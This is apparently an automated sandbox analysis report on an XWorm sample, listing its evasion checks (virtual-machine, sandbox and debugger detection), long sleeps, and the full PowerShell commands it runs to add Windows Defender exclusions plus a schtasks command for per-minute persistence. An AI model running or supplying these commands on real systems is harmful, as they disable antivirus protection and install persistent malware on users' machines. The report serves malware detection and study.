Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Word.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file.exe, Word.exe.0.dr

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 1A680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Word.exe	Memory allocated: 1450000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Word.exe	Memory allocated: 1B1A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Word.exe	Memory allocated: 600000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Word.exe	Memory allocated: 1A4E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Word.exe	Memory allocated: 2A00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Word.exe	Memory allocated: 1AB30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Word.exe	Memory allocated: 1750000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Word.exe	Memory allocated: 1B080000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Word.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Word.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Word.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Word.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 7985	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1832	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5966	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3820	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7643	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1947	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8107	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1470	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8017
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1579

Source: C:\Users\user\Desktop\file.exe TID: 8168	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7192	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7464	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep count: 8107 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7716	Thread sleep count: 1470 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7956	Thread sleep count: 8017 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7960	Thread sleep count: 1579 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7984	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Users\user\AppData\Roaming\Word.exe TID: 1648	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Word.exe TID: 2056	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Word.exe TID: 1568	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Word.exe TID: 2176	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Word.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\Word.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\Word.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\Word.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Word.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Word.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Word.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Word.exe	Thread delayed: delay time: 922337203685477

Source: Word.exe.0.dr	Binary or memory string: vmware
Source: file.exe, 00000000.00000002.2560460536.000000001B240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll!

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Anti Debugging

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FFAAC487A71 CheckRemoteDebuggerPresent,

0_2_00007FFAAC487A71

Source: C:\Users\user\Desktop\file.exe

Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\Word.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\Word.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\file.exe'
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Word.exe'
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\file.exe'	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Word.exe'	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\file.exe'

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\file.exe'	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'file.exe'	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Word.exe'	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Word.exe'	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Word" /tr "C:\Users\user\AppData\Roaming\Word.exe"	Jump to behavior

Source: file.exe, 00000000.00000002.2523388920.00000000026F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0
Source: file.exe, 00000000.00000002.2523388920.00000000026F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.2523388920.00000000026F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>0
Source: file.exe, 00000000.00000002.2523388920.00000000026F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0@
Source: file.exe, 00000000.00000002.2523388920.00000000026F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager2

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
